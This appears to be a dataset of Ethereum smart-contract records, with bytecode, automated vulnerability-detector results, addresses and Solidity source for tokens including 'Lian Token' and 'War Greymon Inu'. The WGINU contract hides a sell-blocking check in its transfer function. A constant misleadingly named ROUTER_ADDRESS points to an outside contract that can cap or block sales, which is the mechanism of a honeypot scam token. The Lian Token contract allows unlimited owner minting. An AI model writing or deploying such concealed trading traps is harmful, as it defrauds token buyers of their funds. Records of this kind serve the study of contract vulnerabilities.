152604080832087845290915290205460ff16151560011461227c576040805160e560020a62461bcd02815260206004820152601360248201527f4e616d6520416c72656164792045786973742100000000000000000000000000604482015290519081900360640190fd5b6000878152600a60209081526040808320600101879055868352600982528083208a9055898352600b825280832087845290915290205460ff16151561230c576000878152600b602090815260408083208784528252808320805460ff191660019081179091558a8452600a8352818420600301805490910190819055600c835281842090845290915290208490555b600154604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015612346573d6000803e3d6000fd5b5060018215151415612405575060015b6006548111612405576000818152600360205260408082205481517f49cc635d000000000000000000000000000000000000000000000000000000008152600481018b9052600160a060020a038a8116602483015260448201899052606482018a9052925192909116926349cc635d9260848084019382900301818387803b1580156123e157600080fd5b505af11580156123f5573d6000803e3d6000fd5b5050600190920191506123569050565b6000858152600a6020908152604091829020805460019091015483518715158152928301899052600160a060020a039182168385015260608301523460808301524260a0830152915186928916918a917fdd6176433ff5026bbce96b068584b7bbe3514227e72df9c630b749ae87e644429181900360c00190a4505050505050505600756d6d2e2e2e2e2e2020796f75206861766520746f2070617920746865206e614e6f742048756d616e00000000000000000000000000000000000000000000006d65206665650000000000000000000000000000000000000000000000000000a165627a7a72305820f417796ab90e80d7b3fec4902888773b286d3058ddfa25c60758bb5d3dfbd3680029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,009
0x2f5d65f2cc76fa248cced6a91f09291e8d8f639c
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract HasNoEther is Ownable { /** * @dev Constructor that rejects incoming Ether * @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we * leave out payable, then Solidity will allow inheriting contracts to implement a payable * constructor. By doing it this way we prevent a payable constructor from working. Alternatively * we could use assembly to access msg.value. */ function HasNoEther() public payable { require(msg.value == 0); } /** * @dev Disallows direct send by settings a default function without the `payable` flag. */ function() external { } /** * @dev Transfer all Ether held by the contract to the owner. */ function reclaimEther() external onlyOwner { assert(owner.send(this.balance)); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract liantoken is BurnableToken, HasNoEther { string public constant name = "Lian Token"; string public constant symbol = "LTCN"; uint8 public constant decimals = 8; uint256 constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function liantoken() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(address(0), msg.sender, totalSupply); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return super.transferFrom(_from, _to, _value); } function multiTransfer(address[] recipients, uint256[] amounts) public { require(recipients.length == amounts.length); for (uint i = 0; i < recipients.length; i++) { transfer(recipients[i], amounts[i]); } } /** * @dev Create `mintedAmount` tokens * @param mintedAmount The amount of tokens it will minted **/ function mintToken(uint256 mintedAmount) public onlyOwner { totalSupply += mintedAmount; balances[owner] += mintedAmount; Transfer(address(0), owner, mintedAmount); } }
0x6060604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100fd578063095ea7b31461018757806318160ddd146101bd5780631e89d545146101e257806323b872dd14610271578063313ce5671461029957806342966c68146102c257806366188463146102d857806370a08231146102fa5780638da5cb5b1461031957806395d89b41146103485780639f727c271461035b578063a9059cbb1461036e578063c634d03214610390578063d73dd623146103a6578063dd62ed3e146103c8578063f2fde38b146103ed575b34156100fb57600080fd5b005b341561010857600080fd5b61011061040c565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014c578082015183820152602001610134565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019257600080fd5b6101a9600160a060020a0360043516602435610443565b604051901515815260200160405180910390f35b34156101c857600080fd5b6101d06104af565b60405190815260200160405180910390f35b34156101ed57600080fd5b6100fb6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506104b595505050505050565b341561027c57600080fd5b6101a9600160a060020a0360043581169060243516604435610514565b34156102a457600080fd5b6102ac610529565b60405160ff909116815260200160405180910390f35b34156102cd57600080fd5b6100fb60043561052e565b34156102e357600080fd5b6101a9600160a060020a03600435166024356105f7565b341561030557600080fd5b6101d0600160a060020a03600435166106f1565b341561032457600080fd5b61032c61070c565b604051600160a060020a03909116815260200160405180910390f35b341561035357600080fd5b61011061071b565b341561036657600080fd5b6100fb610752565b341561037957600080fd5b6101a9600160a060020a03600435166024356107a5565b341561039b57600080fd5b6100fb6004356107b8565b34156103b157600080fd5b6101a9600160a060020a0360043516602435610837565b34156103d357600080fd5b6101d0600160a060020a03600435811690602435166108db565b34156103f857600080fd5b6100fb600160a060020a0360043516610906565b60408051908101604052600a81527f4c69616e20546f6b656e00000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600081518351146104c557600080fd5b5060005b825181101561050f576105068382815181106104e157fe5b906020019060200201518383815181106104f757fe5b906020019060200201516107a5565b506001016104c9565b505050565b60006105218484846109a1565b949350505050565b600881565b600080821161053c57600080fd5b600160a060020a03331660009081526001602052604090205482111561056157600080fd5b5033600160a060020a0381166000908152600160205260409020546105869083610b23565b600160a060020a038216600090815260016020526040812091909155546105b3908363ffffffff610b2316565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561065457600160a060020a03338116600090815260026020908152604080832093881683529290529081205561068b565b610664818463ffffffff610b2316565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60408051908101604052600481527f4c54434e00000000000000000000000000000000000000000000000000000000602082015281565b60035433600160a060020a0390811691161461076d57600080fd5b600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156107a357fe5b565b60006107b18383610b35565b9392505050565b60035433600160a060020a039081169116146107d357600080fd5b600080548201815560038054600160a060020a0390811683526001602052604080842080548601905591541691907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a350565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461086f908363ffffffff610c3016565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461092157600080fd5b600160a060020a038116151561093657600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a03831615156109b857600080fd5b600160a060020a0384166000908152600160205260409020548211156109dd57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610a1057600080fd5b600160a060020a038416600090815260016020526040902054610a39908363ffffffff610b2316565b600160a060020a038086166000908152600160205260408082209390935590851681522054610a6e908363ffffffff610c3016565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610ab6908363ffffffff610b2316565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610b2f57fe5b50900390565b6000600160a060020a0383161515610b4c57600080fd5b600160a060020a033316600090815260016020526040902054821115610b7157600080fd5b600160a060020a033316600090815260016020526040902054610b9a908363ffffffff610b2316565b600160a060020a033381166000908152600160205260408082209390935590851681522054610bcf908363ffffffff610c3016565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b6000828201838110156107b157fe00a165627a7a723058208dba106c13ae2e37600e815388e1e660989aa39ff04c6b87f7c6f5636e10d43e0029
{"success": true, "error": null, "results": {}}
1,010
0xF15D8e6030F4C1D1ef21c00B5d922141c81a9cc5
//SPDX-License-Identifier: MIT // Telegram: t.me/wginu pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=100000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="War Greymon Inu"; string constant TOKEN_SYMBOL="WGINU"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WGINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600f81526020017f57617220477265796d6f6e20496e750000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5747494e55000000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73690f08828a4013351db74e916ac